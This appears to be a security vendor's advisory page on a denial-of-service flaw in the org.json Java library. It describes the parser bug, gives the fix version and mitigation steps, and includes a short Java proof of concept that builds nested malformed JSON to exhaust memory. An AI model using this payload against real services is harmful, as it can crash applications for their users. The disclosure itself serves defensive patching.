EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.json:jsonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.json:json | all versions | 20231013 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.json:json. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.json:json to 20231013 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4jq9-2xhw-jpx7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4jq9-2xhw-jpx7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4jq9-2xhw-jpx7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4jq9-2xhw-jpx7 in your dependencies?
O3 detects GHSA-4jq9-2xhw-jpx7 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.